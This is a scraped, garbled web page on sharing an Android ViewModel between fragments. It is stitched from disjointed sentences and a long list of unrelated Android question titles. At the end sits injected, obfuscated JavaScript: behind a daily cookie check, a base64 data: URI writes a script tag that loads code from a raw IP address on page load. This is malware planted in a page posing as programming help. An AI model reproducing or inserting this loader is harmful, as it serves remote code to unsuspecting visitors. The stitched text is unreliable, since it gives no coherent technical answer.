Creating ViewModel inside a fragment is not a problem.It is a basic thing. There is an option to disable this "re-create activity on rotation" behavior, but it will not prevent restart-related bugs, it will just make them more difficult to detect. in onCreate() method) with: Programmatically Obtain the Phone Number of the Android Phone, Difference Between Gravity and Layout_Gravity in Android, Exception 'Open Failed: Eacces (Permission Denied)' on Android, Getting the Absolute File Path from Content Uri For Searched Images, Can the Android Layout Folder Contain Subfolders, Onsaveinstancestate () and Onrestoreinstancestate (), Failed to Resolve: Com.Android.Support:Appcompat-V7:26.0.0, Install/Uninstall Apks Programmatically (Packagemanager VS Intents), How to Get Ip Address of the Device from Code, Android Imageview Scaling and Translating Issue, Onactivityresult Method Is Deprecated, What Is the Alternative, How to Have Android Service Communicate With Activity, How to Support Different Screen Size in Android, Android Take Screenshot of Surface View Shows Black Screen, Java.Util.Zip.Zipexception: Duplicate Entry During Packagealldebugclassesformultidex, What's the Difference Between Commit() and Apply() in Sharedpreferences, Launch Custom Android Application from Android Browser, How to Get Current Time and Date in Android, What to Do on Transactiontoolargeexception, Android Gallery on Android 4.4 (Kitkat) Returns Different Uri For Intent.Action_Get_Content, What APIs Are Used to Draw Over Other Apps (Like Facebook'S Chat Heads), Instant Run in Android Studio 2.0 (How to Turn Off), Why Does My Android App Crash With a Nullpointerexception When Initializing a Variable With Findviewbyid(R.Id. phrase: "shared view model", because I've wasted far too much time Next time it is better to try it by yourself if your question starts with "Can I", I found that somebody has solve this ,it works for me, here is the solution: This fragment with webview is called from different activities. Broadcast Receiver in Android With Example, Content Providers in Android with Example, Android Projects - From Basic to Advanced Level. You'll need to import androidx.lifecycle.Transformations and java.text.NumberFormat. You're not getting a reference Fragments represent multiple screen inside one activity. That means the view model can be shared across fragments. *|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('